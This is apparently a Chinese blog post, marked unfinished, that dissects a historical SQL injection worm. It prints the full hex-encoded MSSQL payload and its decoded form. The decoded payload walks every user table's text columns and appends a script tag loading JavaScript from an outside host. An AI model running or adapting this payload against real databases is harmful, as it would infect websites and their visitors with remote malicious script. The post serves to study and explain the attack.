SQL注入蠕虫分析//未完待续
蠕虫代码:
DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522838303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E62616E6E657238322E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461655F437572736F72 AS
VARCHAR(4000));EXEC(@S);--
首先看这段代码:
DECLARE @S VARCHAR(4000);
创建了一个类型为VARCHAR()的字段并且字段长度最大为4000
之后这段代码:
SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522838303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E62616E6E657238322E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461655F437572736F72 AS
VARCHAR(4000));
CAST()函数将16进制转换为VARCHAR类型(VARCHAR类型可以保存可变长字符串)
//CAST函数用法
cast([合法的SQL语句] [AS] [要转换成的类型])
将HEX转换成ASCII之后内容为:
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(8000),['+@C+']))+''<script src=http://www.banner82.com/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Tae_Cursor
所以,没有加密前的代码为:
DECLARE @S VARCHAR(4000);SET @S=(DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(8000),['+@C+']))+''<script src=http://www.banner82.com/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Tae_Cursor);EXEC(@S);--
最新文章
- 微软成立反网络犯罪中心,工作环境如美剧CSI情景
- git删除push到远程服务器的commit
- Windows Tomcat7.0 安装 Solr
- 熟悉linux开发环境(实验)
- Python(迭代器 生成器 装饰器 递归 斐波那契数列)
- [原创]Devexpress XtraReports 系列 8 创建Drill-Through报表
- [cocos2dx]怎样将Android手机游戏移植到电视?
- C++之内部类(嵌套类)与外部类及友元
- 配置JVM内存 查看内存工具
- Nhibernate学习教程(2)-- 第一个NHibernate程序
- 图文详解AO打印(端桥模式)
- 使用CSS让多出来的字变为省略号
- Python_Excel文件操作
- c++ ignore用法
- Linq to SQL -- Join
- tensorflow安装和初使用
- win10系统安装了多个版本的JDK如何切换
- 如何配置pl/sql 连接远程oracle服务器
- 使用Open Live Writer写博客
- 20145335郝昊《java程序设计》第7周学习总结